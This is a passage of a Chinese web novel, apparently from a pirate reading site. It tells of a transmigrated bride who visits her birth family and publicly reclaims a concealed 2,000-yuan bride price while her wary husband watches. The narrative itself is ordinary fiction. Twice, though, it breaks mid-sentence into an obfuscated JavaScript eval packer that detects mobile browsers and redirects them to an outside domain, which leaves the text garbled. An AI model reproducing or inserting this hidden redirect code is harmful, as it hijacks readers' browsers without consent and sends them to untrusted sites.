“她阿爸阿妈也是疼她的,第一回上门的时候就说了,孩子在乡下吃了不少苦,想给她找个好对象。人家说了,知道维舟人品好,愿意结这个亲,还说要是维舟不愿意,婚事就作废,他们给孩子重新找一个。双方都讲体面的,我看这婚事蛮好的。” 没想到刘婶背后这么帮着自己说话。 不过,柳绵绵觉得奇怪,原主记忆里,亲生父母跟她说的是,她出生就和沈维舟定了娃娃亲,如今双方都到了适婚年龄,沈家就上门提亲了。 可按刘婶的说法,似乎是原主亲生父母主动上门的? 柳绵绵走进去,院子里正闲磕牙的两个人吓了一跳,宽脸庞、三角眼的大妈站了起来,倒是还笑着和柳绵绵打了个招呼:“新娘子回来啦?” 柳绵绵没接茬,她自说自话地接了下去:“哎哟,时候不早了,我得回去做饭了,回见啊!” 等人走了,刘婶尴尬地解释:“那是4号院的曹大妈,平时没事就爱给人说媒拉纤,维舟没请她帮忙说亲,她不高兴,故意这么说的,你不要理会她。” “借题发挥嘛,我懂的。”柳绵绵倒也没把这事放在心上,转而问,“刘婶,婚约的事,是我爸妈先上门提的啊?” 刘婶收拾着针线笸箩,说:“维舟说自己身体不好,不想拖累别人,一直推着不愿意说亲。要不是你阿爸阿妈上门,沈教授他们都把这事忘了。毕竟新社会了,谁还会惦记着十几二十年前的娃娃亲呀?” 说完觉得不对,又马上找补:“不过幸亏有你这个娃娃亲,要不然维舟哪里能娶到媳妇哟!” 柳绵绵调侃:“找个有正式工作的城里人嘛。” 刘婶心虚得声音都大了:“哦哟,你听曹大嘴胡说八道,找不着的,要不是有你,维舟就是打光棍的命!” 这真是被逼急了,都不惜贬低起沈维舟了。 柳绵绵笑了出来,把手里的纸袋递给刘婶:“巷子口的奶油面包,我已经吃了半个了,剩下的你们分。” 柳绵绵回房洗漱了下,闲着没事,翻了翻写字台上摆着的几本书,《电磁学》、《固体物理学》、《弹丸空气动力学》……好吧,完全看不懂。 柳绵绵在写字台前坐下,回想刘婶说的话。 她原先一直以为是沈家为了给病入膏肓的儿子娶媳妇,主动找柳家提的亲,可照刘婶的说法,事实恰恰相反,亲事是柳家主动提的。 问题是,原主的记忆里根本没有这一茬。 其实也不奇怪,毕竟两千块钱彩礼的事,原主也并不知情。 亲生父母瞒着她的事情恐怕还多着呢。 这么看,原主亲生父母算盘打得真是太精了。嫁出去一个跟他们不亲、他们也不太喜爱的女儿,换回来两千块钱彩礼和沈家这样一门亲家。照他们的想法,没准是觉得,今后一家子甚至是七亲八眷的升职加薪都不愁了吧。 哪知道原主被渣男撺掇着私奔,后面就像多米诺骨牌似的,一件事接着一件事,沈维舟病死,俞婉车祸致残,沈维云出事……两家彻底反目成仇。 照南城的习俗,明天是三朝回门。晚上饭桌上俞婉提起这事,说是照风俗准备了烟、酒、罐头、喜糖四样礼,又说另外还准备了几块时新的布料,问柳绵绵还有没有什么缺的。 柳绵绵还没搭腔,沈维云先开口了:“什么都缺呢,最好是把家里东西统统搬过去。” 沈伯康瞪向女儿:“沈维云,这就是你的教养?” 沈维云一点不怵她爸,嘟囔:“我哪里说错了……”还想再说什么,对上沈维舟的视线,心虚地眨眨眼,立马把话头缩了回去:“好嘛,我吃饭还不行?”她别人都不怕,就怕亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你要泡脚吗,我帮你热水倒起来?”感觉到沈维舟的视线,柳绵绵主动示好,“泡脚能加速新陈代谢,缓解疲劳,睡前泡一下,还能提高睡眠质量,你手脚冰凉,泡泡脚很好的。” 总归要在一个屋檐底下待着,柳绵绵还是倾向于和沈维舟搞好关系。 反正这人也活不久了,权当临终关怀了。 这么一想,别说帮着倒个水,就是帮着洗脚,也是可以的。 沈维舟冷淡道:“不必。”眼底的疑惑更浓了。 不必就不必。 柳绵绵擦干净脚丫子,倒掉洗脚水,很快钻进被窝。 沈维舟还坐在写字台前看书,柳绵绵虽然奇怪他一个命不久矣的人,怎么精力还这么充沛,但也没多想,倒是琢磨了下明天回门的事。 她还挺好奇原主那对既要又要还要的父母的,好容易找回来的亲生女儿,在他们眼里,似乎就是个攫取利益的筹码。 当然,还有两千块钱。 有些人就是对别人的钱太有占有欲,这是病,得治。 5. 第5章 一觉醒来已经九点多,柳绵绵扭头看了眼,没看到沈维舟,只看到叠得方方正正的被子。 昨晚她睡着的时候,沈维舟还坐在写字台前面看书。晚睡早起,也不睡午觉,他一个病入膏肓的人,休息的时间竟远少于她。 要不是原书里他的的确确在不久后就病死了,柳绵绵都要怀疑,那些说他病入膏肓的人,根本就是在造谣。 起床简单洗漱后,柳绵绵在刘婶“雨浇春,今年是除夕逢雨水,一整年都会风调雨顺”的念叨声中吃完了早饭。 “公交车也没个准点,可以出门了,宁可早不要晚,其实现在也不早了。” 刘婶把俞婉准备的两大袋礼品拿了出来,边催着柳绵绵,边冲书房的方向喊:“维舟,时间不早了,该出门了!” 沈维舟从书房出来,他今天穿了一套铅灰色的西装,衬得身材益发挺拔修长,忽略过分苍白的脸色的话,整个人看上去英俊又斯文,有种说不出的气质。 柳绵绵看了他一眼,非常自觉地把两大袋礼品都拎了起来。 就他这病殃殃的样子,可不敢指望他拎东西。 柳绵绵率先走出院子,沈维舟看了眼她手上拎的东西,在刘婶的催促声中慢悠悠跟了上去。 两个人一前一后,隔着一臂的距离,偶尔碰见巷子里的邻居,坐着闲磕牙的,或者是遛娃的,都会越过走在前面的柳绵绵,和沈维舟打招呼。 “小沈今天瞧着精神头不错。” “哎哟,今天是三朝回门,陪媳妇儿回娘家吧?” “小沈,回头闲了来家里下棋啊!” …… 原主和巷子里的人不熟,加上结婚当天摆脸色闹腾,邻居们不待见她也正常。柳绵绵好奇的是,成天冷着一张脸话又少的沈维舟,似乎跟邻居关系还挺不错? 这些大爷大妈们看他的眼神,就跟看家里最受宠的小辈一样,满满的慈爱。 柳绵绵好奇回头的时候,差点被一辆自行车给撞了,躲闪过程中,左手拎的袋子甩出去掉在了地上。 骑自行车的小青年连说了几声“不好意思”,沈维舟捡起地上的袋子看了眼,挥挥手让小青年走了。 柳绵绵伸手去拿袋子:“我来拎吧。” 沈维舟没给她:“我来。” 柳绵绵打量他一眼,语气带着怀疑:“你行不行的哦?”随即反应过来,又说:“哦,你那个袋子里就两条烟两斤糖,重倒是不重的,你先拎着吧,不行再给我。” 沈维舟:“……” 旁边一个遛娃的大妈噗嗤一声笑了:“哎哟,新娘子说话不过脑子的哦,哪里能问男人行不行的哦,男人嘛,嘴上都是行的呀!” 另一个大妈也笑着调侃:“你懂什么哦,新娘子这是心疼小沈呢,刚结婚才两三天嘛,小沈肯定也是累的嘛!” 其他人也都笑了起来。 柳绵绵:“……” 这车开得,猝不及防。 柳绵绵瞥一眼沈维舟,这人惯常是面无表情,倒是看不出有没有不好意思。反正她是不好意思的,她上辈子母胎单身,网络上骚话连篇小黄人,现实里连手都没跟人牵过。 柳绵绵揉揉发烫的耳根,快步往前走,身后大爷大妈们调侃着沈维舟,又催促他快点跟上新娘子。 到了站点后,没等多久,公交车就来了。 这个时间公交车倒是不挤,还有一些空位。柳绵绵找了个靠窗的空位坐下,沈维舟淡淡瞥她一眼,在她旁边的位置坐下。 车子缓缓开出去,沿着芷江路一路往西。车窗外极富年代感的街景,像文艺片里的长镜头,从眼前一帧一帧划过。 转过一个路口,路两旁的建筑更加低矮,路也变得更加颠簸。 柳绵绵明显还不适应这个年代的路况,车子过坑时跳了一下,整个人被抛了起来,屁股悬空一秒后,才又重重落回座椅上。 慌乱中她“啊”地喊了一声,手胡乱地抓住了什么东西。 等车子重新平稳,柳绵绵回过神才发现自己正紧紧地攥着沈维舟的手。 瞄一眼对方似乎更冷了几分的脸色,柳绵绵连忙放开他,解释说:“我不是故意的,我就是被吓了一跳。” 沈维舟深深看她一眼,忽然开口问:“被什么吓了一跳,车过了个坑?” 柳绵绵一时语塞,明显一整个车厢的人,都对这种路况司空见惯。刚才她喊了一声,好几个人都扭头看她了,似乎是不敢相信有人竟会因为车子过坑颠簸而吓得尖叫。 谁让几十年后华国成了基建狂魔呢?城市里路面但凡稍微有点不平整,都会很快被撬开重铺。柳绵绵是真没见过这么坑坑洼洼的路。 半晌,她拿捏着原主那股子尖酸的劲儿,阴阳怪气反问:“你这是故意讽刺我?我一个乡下长大的土包子,从小到大没怎么坐过汽车,被吓一跳有什么奇怪?你城市长大的是不一样,见多识广嘛!” 沈维舟眼神变冷,转头看向前方,没再和她说话。 后面的路车子又跳了四五回,柳绵绵有了心理准备,每次车子一跳,她就牢牢抓住前排的座椅靠背。就这么蹦着跳着,等到南城军工厂站点时,柳绵绵已经完全适应这个时代的路况了。 两人又一路沉默着从公交车站点往军工厂家属院走。 柳绵绵莫名冒出个念头,他俩这哪像刚结婚的小夫妻三朝回门,倒是更像去上坟偶然遇见的陌生人。 这么一想还挺逗,柳绵绵笑了起来,惹得沈维舟莫名其妙地看了她一眼。 走到家属院门口时,斜刺里突然冲出个人,拦在他们身前。 “柳绵绵,你站住!” 柳绵绵站住,看向对方。 原主的记忆里有这个人,眼前这个烫着卷发、身上穿着时下最流行的喇叭裤的女人,是朱永齐的妹妹朱美琪。 朱美琪瞪着柳绵绵,一连串地诘问:“柳绵绵,我哥不是去找你的吗,好端端的怎么会被派出所抓走,这到底是怎么回事?!” 柳绵绵翻个白眼:“你要是疯了就赶紧去六院挂个号,我跟你哥又不熟,他被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710749|173641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派出所抓了关我什么事?” 原主和朱永齐勾搭上以后,对朱美琪也是爱屋及乌,经常买些小东西讨好朱美琪。朱美琪看不上乡下来的土包子,可有便宜为什么不占?土包子嫁了痨病鬼,以后能占的便宜只会更多。 只是她没想到,土包子会翻脸不认人。 朱美琪怒气冲冲:“你!” 瞥一眼冷眼旁观的沈维舟,朱美琪觉得自己明白了,冷笑:“这么着急忙慌地撇清,是怕你男人有什么想法?怕什么呀,大家都是一个院儿的朋友,就是平时关系好,这有什么的。” 话是这么说,其实朱美琪根本不关心沈家人怎么看柳绵绵,关她什么事? 柳绵绵也冷笑:“谁跟你们是朋友,你朋友会一口一个土包子的骂你吗?你们兄妹俩可真是够莫名其妙的,一个两个的,都往我身上泼脏水。都是故意的吧,看我好欺负?” 朱美琪看不上原主,当着原主的面也会嫌弃她这个也不懂那个也不会,是个乡下来的土包子。 朱永齐从来不制止他妹妹,反倒和原主说,美琪只是嘴巴坏其实人很好的,那么骂她也是恨铁不成钢,想要帮她改掉那些坏毛病。 然后再油嘴滑舌说几句“不管你是土包子还是洋芋丝,我都觉得你最可爱”、“等以后挣了大钱,给你买最贵的表、最时髦的衣服,让你做南城最摩登的女郎”之类的话,原主就被感动得不行了。 这还是那个在她面前忍气吞声的柳绵绵吗?结个婚而已,几天不见,这人怎么跟变了个人似的? 朱美琪都懵了。 由于太过震惊,朱美琪都结巴了:“你、你怎么……” 柳绵绵翘起下巴,趾高气扬:“我可不是从前那个任你搓扁捏圆的柳绵绵了。” 这是再真不过的真话了。 朱美琪自然不可能明白这句话的真实意思,她有自己的理解。 从前的柳绵绵是乡下来的土包子,在他们面前只能忍气吞声,现在她嫁进了沈家,住到非富即贵的求知巷去了,哪里还需要对他们低声下气? 他哥还说给人忽悠得言听计从,屁! 柳绵绵没再理睬朱美琪,看向沈维舟:“我们走吧。” 沈维舟若有所思地看了一眼朱美琪,跟在柳绵绵身后进了家属院。 柳家住二楼,五十平方的一个小套房,在这个年代算是住房条件相当不错了。 柳绵绵和沈维舟走到楼前,迎面遇上同一栋楼的邻居,对方笑呵呵说:“哦哟,绵绵回来啦?快回家吧,你爸妈哥嫂都特地请了假,一早就在家忙活了呢!” 柳绵绵笑眯眯和对方打了个招呼:“我爸妈可真疼我。” 邻居大妈笑容微滞,一栋楼住着,柳家那两位疼不疼这个半路找回来的女儿,她还能不知道?特地请假在家忙活,可不是为了女儿,是看姓沈的女婿面子。 这话自然不能说,大妈干笑:“那是的,好容易找回来的呢,那肯定疼的,疼的。” 柳绵绵笑笑,必须疼啊,不疼也得疼呢。 6. 第6章 二楼一共六户人家,柳家在中间的位置,左边是二车间蒋主任家,右边是保卫科李副科长家。 李副科长老娘赵大妈搬了小板凳在走廊上摘菜,看见柳绵绵就喊了起来:“小丁,你家绵绵回来啦!” 先出来的是大嫂应晓芬,瓜子脸,剪了头短发,看着挺利落的,她手里捏着一把葱,笑道:“你们回来啦,快进来!” 亲妈丁明霞举着铲子,探身看了眼,也笑得温和:“快进来,我再炒两个菜就好了。” 丁明霞比她儿媳时髦多了,半长不短的头发明显烫过,脖子上还扎了个小丝巾,五官精致,风韵犹存,看得出年轻时应该是个美人。 结合原主的记忆,柳绵绵确信,这婆媳俩还从没对“她”这么热情过。 尤其大嫂应晓芬,从原主进城,就几乎把“不欢迎”三个字刻在了脑门上。 家里两间半的卧室,只要柳锦诗一嫁人,儿子立马能拥有独立房间,哪想半路杀出个程咬金,乡下人,没工作,猴年马月才能找到对象结婚?要是在家一拖四五年,儿子都十几岁了,又得考虑结婚住房问题了。 这些话原主曾亲耳听见应晓芬向柳永捷抱怨。 除此之外,还有亲戚朋友拿“真假小姑子”调侃她,让应晓芬也觉得很没面子。 应晓芬估计也没想到,“真小姑子”会比柳锦诗更早出嫁。 “永捷,给你妹妹妹夫倒杯茶。”柳志刚坐在小客厅的沙发椅上,端着一家之主的架子吩咐大儿子。 柳永捷眼皮都没抬,靠在椅子上没动,应晓芬忙主动去倒了茶,笑呵呵对沈维舟说:“这可是爸藏了好几年的茶叶,寻常都不舍得喝的,维舟你尝尝,小心烫哈。” 她一副熟稔的样子,喊得也很亲热,沈维舟却只是看了一眼桌上的茶杯,并没有说话。 没人说话,场面一下子冷了下来。 柳绵绵喝了口茶,余光瞥见柳志刚蹙了下眉。不知道他是不满柳永捷把他的话当耳旁风,还是不满沈维舟这个新女婿既不主动喊人也不主动寒暄。 柳志刚是军工厂三车间主任,柳永捷跟着他爹就在三车间干活。既是亲爹又是领导,照理柳永捷应该对柳志刚言听计从。 可实际上,柳永捷从小被爷奶溺爱长大,并不怎么怕他爹。而且,柳永捷一直觉得,自己没能进机关当干事,只能在车间当个普通工人,是他爹不肯抹开面子帮他“活动”的原因。 他在家一向是这副要死不活的样子。 厨房传来刺啦刺啦的炒菜声,空气中浮动着浓郁的肉菜香味,这个小小的客厅里却陷入沉默的尴尬。 谁都不说话,柳志刚几次张了张嘴,又闭了回去,柳绵绵猜测他是觉得主动说话有失他一家之主的威严。他还几次想给柳绵绵递眼色,柳绵绵视而不见,认认真真地喝茶。 没过多久柳锦诗和柳浩回来了。 柳浩手里捏着根糖葫芦,姑侄俩有说有笑地进门。柳锦诗穿了一件猪肝红的外套,里面搭着雪白的衬衣,她五官清秀,身材匀称,眉眼间有一种自信的风采。 看到坐在沙发客厅里的柳绵绵和沈维舟,柳锦诗很自然地打招呼,柳浩则用白眼表达了自己不欢迎的情绪。 柳锦诗一回来,家庭氛围就变得分外融洽。 她先是跟柳志刚讨论军工厂目前的一些政策和工作,不着痕迹地夸了夸三车间的工作,柳志刚神色明显温和了下来。 然后她又告诉柳永捷,自己给他们小组写了篇稿子,表扬他们春节期间牺牲与家人团聚的时间,加班加点保障生产,稿子已经通过审核,明天就会在全厂广播,柳永捷脸上终于也有了一丝笑意。 她甚至还夸了柳绵绵和沈维舟,夸柳绵绵衣服好看,夸沈维舟气色好,总之你好我好大家好,沉闷的气氛烟消云散。 等到吃饭的时候,丁明霞加入“夸夸群”,母女俩画风一致,把柳志刚父子俩哄得眉开眼笑。 当然,她们也没有忽略柳绵绵和沈维舟。 只是不管她们说什么,沈维舟的表情都没有任何变化,也不怎么吭声。 柳绵绵效仿沈维舟践行沉默是金,闷头吃饭之余,只“嗯嗯啊啊”地敷衍了几声。 吃饭最重要,有什么事吃饱了再说。 * 吃完饭应晓芬和柳锦诗收拾桌子,吃饱喝足的柳绵绵从带来的袋子里拿了一包糖出来拆开,说:“我去喊邻居们过来吃喜糖。” 吃饱了可以开始干活了。 等其他人反应过来的时候,柳绵绵已经抓了把糖出去了,没一会儿,楼上楼下的邻居都被喊了过来。柳绵绵干脆把两包糖都拆了,一人抓了一大把,又把茶几果盘里的瓜子分给大家。 眼睁睁看着两大包大白兔奶糖快被分没了,柳浩瞪着眼睛喊:“那是我的糖,土包子……呜呜呜……”被他妈捂住了嘴。 应晓芬也肉疼得不行,家里就一个孩子,这两大包糖本来应该是她家小浩的!问题这话只能想想不能说。 李副科长捧着面碗,站走廊上笑呵呵说:“结婚了就是不一样哈,绵绵这脾气都变好了。” 柳绵绵又从带来的袋子里拆了一条烟,直接拿了两包往李副科长衣兜里一塞:“李叔,我知道你平时爱抽烟,这烟给你,谢谢你帮着把我找回来,不然我现在还在乡下种地呢。” 李副科长吓了一跳:“哎哎哎,这烟可是有钱都不一定买得着的,不行不行,我不能收。” 柳绵绵坚持:“今天我高兴,要不是你们帮着把我找回来,我哪能来到南城,哪能在南城安家落户,两包烟而已,哪里比得上我的人生与前途?这烟你必须收,这是我一点小小的心意!” 当初原主能被找回来,这些邻居确实是出了力的,只是原主一直认为他们看不起她,和邻居并不怎么来往。 李副科长终于还是收了烟,柳绵绵顺势又给其他几位也分了烟。 眼看两条烟分到最后只剩了一包,柳志刚和柳永捷都傻了。前面分糖他们还没感觉,分烟他们可太心疼了。这可是特供烟,有钱都买不到的。 平时可能没人会真的收下这么贵的烟,偏偏柳绵绵说是感谢大家帮忙把她找回来。 紧接着,柳绵绵把袋子里的两瓶茅台也拿了出来,笑呵呵道:“这两瓶酒……” 丁明霞再也忍不住了,赶忙走过来打断她:“酒我先收起来,你爸最近血压有点高,不能喝酒,我藏起来,免得他嘴馋偷喝。”连着袋子里剩下的两个桔子罐头,赶紧都一起抱走了。 天知道眼睁睁看着两条烟和两包糖就这么被嚯嚯了,她的心都快滴血了。 偏偏柳绵绵说的话冠冕堂皇,她还不能阻止。 柳绵绵笑眯眯地:“我妈总是这么善解人意又体贴细致。” 邻居们有些看不懂,但收了东西总是高兴的,不管是奶糖还是香烟,都是高档货,柳绵绵说是感谢大家帮忙,想想他们多多少少确实出了力,拿一把糖一包烟,其实也不亏心。 再说丁明霞平时为人温柔和善,口碑一向不错,于是也纷纷附和:“老丁这人确实是。” 只有蒋主任家大闺女蒋红梅靠在栏杆上,噗地吐出个瓜子壳,笑了:“可真逗。” 柳绵绵嘴角微抽,差点演不下去,她稍微整理了下情绪,才幽幽叹了口气,继续说:“我爸妈是真疼我,我以前不懂事,内心还怨怪他们,现在想想真是不应该。我在乡下吃粗粮啃地瓜长大的,可不是见识少?他们对我高标准严要求,还不是为了我好?” 赵大妈拿手掌擦擦眼角:“可不是,做父母的都是为了孩子,你看你今天回门,你爸妈一早就在家忙活了。”老太太年轻守寡,独自辛苦带大三个孩子,对小辈非常疼爱,自然相信柳志刚夫妇对艰难寻回的亲生女儿无比疼爱。 做妈的,哪个不是苦心为孩子付出?大妈大嫂们纷纷感慨起来。 丁明霞放好东西出来,听邻居都在夸他们夫妻疼爱孩子,微微愣了下,随即笑道:“可怜天下父母心,做父母的对孩子都是恨不得掏心掏肺的,我们也不想别的,就盼着他们好好过日子,平平安安,和和美美的。” 柳绵绵眼眶微红,感动道:“妈我知道的,我肯定会跟沈维舟好好过日子的。” 她看向沈维舟,沈维舟面无表情,沉静深黑的眸底意味不明。 柳绵绵淡定挪开视线,继续台词:“我们会相互扶持,经营好我们自己的小家的。虽然我和维舟现在都没有工作也没有收入,但我们俩都有信心,会努力过上美满生活的。” 她话锋突兀一转,接着说:“所以妈,之前你说回门的时候,把维舟家给的两千块钱彩礼都给我带回去,我思来想去,觉得这些钱还是应该留一些给你们,算是我作为女儿的一点心意。” 丁明霞脑子一下懵了,所以什么? 有人惊呼:“哦哟,沈家给了两千彩礼,不是两三百吗?!” 沈家聘礼丰厚,在家属院是出了名的。当初有人好奇问丁明霞彩礼多少,丁明霞含糊说了句没多少。大家猜测聘礼那么多,彩礼可能就适当意思一下,随大流给个两三百顶多三五百就差不多了。 没想到是两千。 以为是没多少,丁明霞碍着面子不想说,结果是太多了人家低调不说。 两千啊! 去年厂长家娶儿媳妇也才出了八百八! 几乎所有人都一脸震惊,这其中甚至还包括柳永捷和应晓芬。因为丁明霞跟他们夫妻俩说的也是“没多少,两三百,贴嫁妆还不够呢”。 原来是两千。 和两三百差了将近十倍。 其实别说其他人震惊,丁明霞也很震惊。 她实在没想到这件事会被柳绵绵知道,还会被她当众说了出来。她以为柳绵绵的脾气,跟沈家人可能也相处不好,没人会跟她说彩礼的事。 当初她说把聘礼都给她带回沈家,彩礼没多少钱都贴补在嫁妆里了时,柳绵绵明明是很高兴的,没有一丝怀疑。 丁明霞感觉自己脑门儿嗡嗡响,直到这时候,她才后知后觉反应过来,柳绵绵今天太反常了。 以为她是结婚以后懂事了脾气变好了,却原来是挖了坑在这里等着他们呢。 丁明霞气得发晕。 邻居们窃窃低语起来,柳志刚和隔壁 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左右都是要拿出来,就没必要再扭扭捏捏。丁明霞进屋取了钱,一个印着“南城军工厂”字样的信封,她捏着信封递给柳绵绵,极其舍不得,却还要体贴大方地说:“你看,我钱早都准备好了,就等着给你呢。” 其实是春城君子兰价格节节攀升,听说年初有人将一盆君子兰卖到了十四万元的天价,她娘家弟弟准备收购君子兰运到春城交易。 这两千块钱,是她瞒着柳志刚准备入股的。 应晓芬反应过来,看了柳永捷一眼,柳永捷呲啦一声站了起来:“妈,爸,这可不是小钱,应该家里先商量一下吧?” 柳浩炮弹一样冲过去抱住丁明霞的腿:“奶奶,钱给我买糖,买书包,买玩具,不能给这个女人,不能给这个乡下土包子。” 他扒着丁明霞的手大叫大嚷。 柳绵绵在丁明霞缩回手之前飞快接过信封,捏了捏,鼓鼓囊囊的,估计差不多。 她满脸失望难过,说:“妈,本来我想把这钱留给你们的,你们年纪大了,也该有些钱放在身边。不过我现在改变主意了,因为我发现,如果这些钱留下,有些人只会认为是理所当然,而且这钱最后怕也不会落你们手里。钱还是先放我这儿吧,你们有需要再跟我说。” 她语重心长:“老话说,富养女儿穷养儿,小小年纪金钱观就这么重,对我这个做姑姑的也半点没有尊敬,妈,你们真该好好教育教育孩子了!” 长吁短叹一番后,柳绵绵看了沈维舟一眼,“落寞”地说:“我们走吧。” * 邻居们都散开后,丁明霞把门一关,颓然在沙发坐下,声音溢出几分压抑的哽咽:“她这哪是回门,她这是想逼死我啊,她拿走了钱不算,她还要说那些话!” 柳永捷靠坐在椅子上,脸色不太好看,沉声问:“妈,你为什么骗我们说彩礼才两三百?” 丁明霞顿了下,过了会儿才说:“你花钱大手大脚的,我哪里敢让你知道?你要是能戒了别去打牌,也别跟那些狐朋狗友的来往,我怎么会瞒着你?” 柳永捷啧了声,烦躁道:“那么多钱呢,就这么给她了?” 丁明霞叹了口气:“不然呢?她那个脾气你又不是不知道,闹起来没完没了的,到时候咱们家就成了家属院的大笑话了,咱们一家子的脸往哪儿搁?再说,咱们也不能为了两千块钱得罪沈家。结亲是为了借势,可不是为了结仇,你爸、你妹还有你的前途,都指望他们家呢。” 柳永捷撇撇嘴:“我一个车间工人,能有什么前途?” 到底没再多说什么,算是接受了丁明霞的说法。 应晓芬一边哄着柳浩一边暗暗翻了个白眼。 柳永捷这傻子,回回被他妈忽悠得找不着北,依她看,老两口就是故意想瞒下这笔钱,只是柳绵绵也不是省油的灯,到最后竹篮打水一场空。 柳锦诗挨坐在丁明霞身边,轻轻拍着她的背,柔声细语地劝:“妈,两千块不是最重要的,维系住沈家的关系才最重要。” 她提醒丁明霞:“以后沈家要是问起,这钱就是你们事先说好了,回门的时候让她带回去的。” 柳锦诗微微垂下眼眸,丁明霞平时什么事都会和她商量,可这件事她事先并不知道,如果知道,她会劝丁明霞不要因小失大。 沈维舟的母亲俞婉是国防工业办的副主任,国防工业办可是军工厂的直属上级部门,俞婉在军工厂的事上,是能说得上话的。 柳志刚眉头紧皱:“锦诗说得没错,这件事到此为止。” 指着柳永捷:“还有你,不想一直当车间工人,就别招惹那丫头!” 柳永捷不吭声了。 丁明霞抱着柳锦诗呜咽出声。 道理她都知道,可是,两千块钱,还有被嚯嚯掉的烟和糖,还有入股君子兰能翻不知几番的分红……都没了,都没了啊! 丁明霞一想到这些,简直心痛得无法呼吸。 同一时间,怀揣巨款离开军工厂家属院,柳绵绵整个人神清气爽,她笑眯眯对沈维舟说:“走,姐姐现在有很多钱,请你喝汽水去。” 7. 第7章 柳绵绵不止买了汽水,她还买了家属院附近一家点心铺子的桃酥。 点心铺子是家夫妻店,据说用的祖传秘方,桃酥做得特别酥脆香甜,非常受欢迎,甚至有人坐一两个小时的公交,特地过来买。柳绵绵买到了最后几斤桃酥,乐得眉开眼笑。 “要碰运气的,有时候一大早就卖完了。”柳绵绵喜滋滋说,“咱们今天运气不错。” 眼看就要四月了,春深叶茂,正午的阳光特别耀眼,但好像都没有她的笑容灿烂。 沈维舟挪开视线。 明明上辈子她讨厌他,不爱搭理他,偶尔说话也都是奚落他,可现在她却拈了片桃酥一个劲儿往他面前递:“试试呀,真的很好吃的!你帮我要回了彩礼,这些都是我感谢你的。” 眼看再不接,她就要直接喂进他嘴里了,沈维舟冷着脸接过桃酥和汽水。 “彩礼是你自己要回来的,我什么都没做。”他冷淡地说。 要不是心存疑惑,沈维舟根本就不会踏进柳家的大门,那一家人的自私无耻,他在上辈子就已经看得清清楚楚。 不过,决定过来之前,他怎么也想不到今天会看到这样的场景。 明明上辈子他们过来时,就只是简单地吃了个饭,唯一的小插曲是柳绵绵夹走两个鸡腿,柳家那个孩子因为没吃到鸡腿嚎啕大哭,在几个大人哄着的时候,柳绵绵还火上浇油说以后只要她在他都别想吃鸡腿。 他那时候只觉新婚妻子幼稚自私,万万没想到第二天她就卷了东西跟人私奔了。 今天发生的一切却和上辈子截然不同。 她老老实实吃饭,夹了一个鸡翅,对鸡腿似乎全然不感兴趣,也没怎么正眼看过柳家那个熊孩子。吃完饭后,她才突然发作,唱念做打,打了柳家人一个措手不及兵荒马乱,那家人竟然毫无招架之力。 很显然,今天的一切在她的预料或者说计划之中。 可明明上辈子她从来没提过彩礼的事。 按照柳家人的秉性推测,上辈子柳家人应该也没有把彩礼交给她,她应该是一直不知道这件事。 沈维舟忍不住想,假如上辈子那个柳绵绵知道两千块钱彩礼被家人瞒下,她会怎么做?他觉得应该不是今天这样。 柳绵绵不知道沈维舟的心理活动,她吃着桃酥,口齿含糊地说:“你什么都不用做,你这尊大佛杵着,就是对他们最好的威慑,要没你在一旁杵着,他们不会那么爽快把钱给我。” 什么叫他这尊大佛杵着。 她说话的方式也和上辈子完全不同。 沈维舟忽略她乱七八糟的比喻,审视看她,问:“你和娘家人关系这么不好?” 柳绵绵看向他:“你这不是明知故问?别看我们今天演得热火朝天,其实明眼人都能看出来怎么回事了。”邻居里面有哪些是真心实意相信她们母女情深的,还真不好说。 “鱼目混珠的故事听说过吗,有户人家把大鱼的眼睛当做珍珠代代相传,直到生病要入药才发现不是真的珍珠。我们家呢,是藏了一颗璀璨明珠在家里,突然有一天知道明珠是别人的,鱼眼睛才是自己,这心理落差,恨不得把鱼眼睛给砸碎了。” 沈维舟看她一眼,她一口汽水一口桃酥吃得欢快,仿佛那颗不被人喜欢的鱼眼睛并不是她。 和上辈子那个自卑、尖锐的柳绵绵完全不像同一个人。 明天她还会和那个混混一起私奔吗? 对了,混混还被关在派出所,也可能…… 沈维舟眼神渐渐冷下来,他提醒自己,不要被眼前这个女人开朗、明艳的表象所欺骗,不管外表如何,本质上她都是那个自私自利、害得他家破人亡的女人。 就像异世那些善于伪装的怪物。 他不能放松对她的警惕。 一回到家,沈维舟就又钻进了书房。 刘婶唉声叹气:“每天不是看书写文章,就是弄那些电池啊管子什么的,哦哟,中午也不休息的,我是真怕他身体受不住。” 柳绵绵现在已经知道了,刘婶是沈维舟祖母家的亲戚,老太太去世早,临终找了自家表姐来照顾儿子,这位表姐就是刘婶的母亲。 后来沈维舟出生,生下来身体就不好,中间沈伯康还被下放过几年,都是刘婶夫妻俩一起帮着照顾沈维舟。 刘婶自己两个儿子都在当兵,照她的说法,都身强体壮,跟牛似的,她一点都不担心,只有沈维舟,不是亲生胜似亲生,她和俞婉一样操心。 柳绵绵不知道沈维舟生的什么病,沈家一开始上门提亲的时候是说过的,但原主那时候注意力根本不在这上面,只顾着打听沈家的背景,后面则是从朱永齐口中得知他病入膏肓。现在自然也不好再问。 她宽慰刘婶:“我看他精神不错,我被公交车颠得快要吐,他一点反应也没有,老神在在的。” 单单看他的状态,确实不像快要死的人。 刘婶被逗笑,叹息说:“从小就这样,不舒服也不会讲的。” 没再纠结这个话题,刘婶又问起回门的事,柳绵绵心说那可太精彩了,只是说出来怕是要把这位憨厚可爱的婶子给吓着。于是挑挑拣拣的,只说了柳家为欢迎他们准备了丰盛的菜色,还有就是自己为感谢邻居分了喜烟和喜糖。 饶是如此,刘婶也惊讶地张大了嘴:“你把喜烟喜糖都给分了?” 